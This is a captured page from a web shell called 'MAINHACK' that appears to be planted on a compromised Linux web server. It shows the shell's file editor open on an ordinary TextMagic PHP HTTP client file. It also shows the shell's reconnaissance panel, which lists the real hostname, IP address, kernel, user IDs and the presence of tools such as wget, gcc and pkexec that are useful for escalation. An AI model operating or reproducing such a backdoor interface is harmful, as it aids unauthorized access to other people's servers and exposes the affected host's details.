[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: HttpStream.php
<?php /** * This file is part of the TextmagicRestClient package. * * Copyright (c) 2015 TextMagic Ltd. All rights reserved. * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Textmagic\Services\HttpClient; /** * @author Denis <denis@textmagic.biz> */ class HttpStream { /** * API usename * @var string */ private $username; /** * API token * @var string */ private $token; /** * Base uri * @var string */ private $uri = null; /** * Stream options * @var array */ private $options = array(); public function __construct($uri = '', $args = array()) { $this->uri = $uri; $defaultOptions = array( 'http' => array( 'headers' => '', 'timeout' => 60, 'follow_location' => true, 'ignore_errors' => true ), 'ssl' => array() ); if (isset($args['http_options'])) { $this->options = $args['http_options'] + $defaultOptions; } else { $this->options = $defaultOptions; } } /** * Overload method for GET, POST, PUT, HEAD, DELETE queries * * @param string $name Method name * @param array $args Method arguments * * @return array */ public function __call($name, $args) { list($res, $requestHeaders, $requestBody) = $args + array('', array(), ''); // create url for query if (strpos($res, 'http') === 0) { $url = $res; } else { $url = $this->uri . '/' . $res; } // set options $requestOptions = $this->options; // set content if (isset($requestBody) && strlen($requestBody) > 0) { $requestOptions['http']['content'] = $requestBody; } // set credentials $requestOptions['http']['header'][] = "X-TM-Username: $this->username"; $requestOptions['http']['header'][] = "X-TM-Key: $this->token"; // set headers foreach ($requestHeaders as $key => $value) { $requestOptions['http']['header'][] = "$key: $value"; } $requestOptions['http']['header'] = implode("\r\n", $requestOptions['http']['header']); $requestOptions['http']['method'] = strtoupper($name); $requestOptions['http']['ignore_errors'] = true; $context = stream_context_create($requestOptions); $body = file_get_contents($url, false, $context); if (false === $body) { throw new \ErrorException('Unable to connect to service'); } $statusHeader = array_shift($http_response_header); if (1 !== preg_match('#HTTP/\d+\.\d+ (\d+)#', $statusHeader, $matches)) { throw new \ErrorException('Unable to detect the status code in the HTTP result.'); } $status = intval($matches[1]); $headers = array(); foreach($http_response_header as $header) { list($key, $value) = explode(":", $header, 2); $headers[trim($key)] = trim($value); } return array($status, $headers, $body); } /** * Set API credentials * * @param string $username API username * @param string $token API token */ public function authenticate($username, $token) { if (empty($username) || empty($token)) { throw new \ErrorException('No username or token supplied.'); } $this->username = $username; $this->token = $token; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002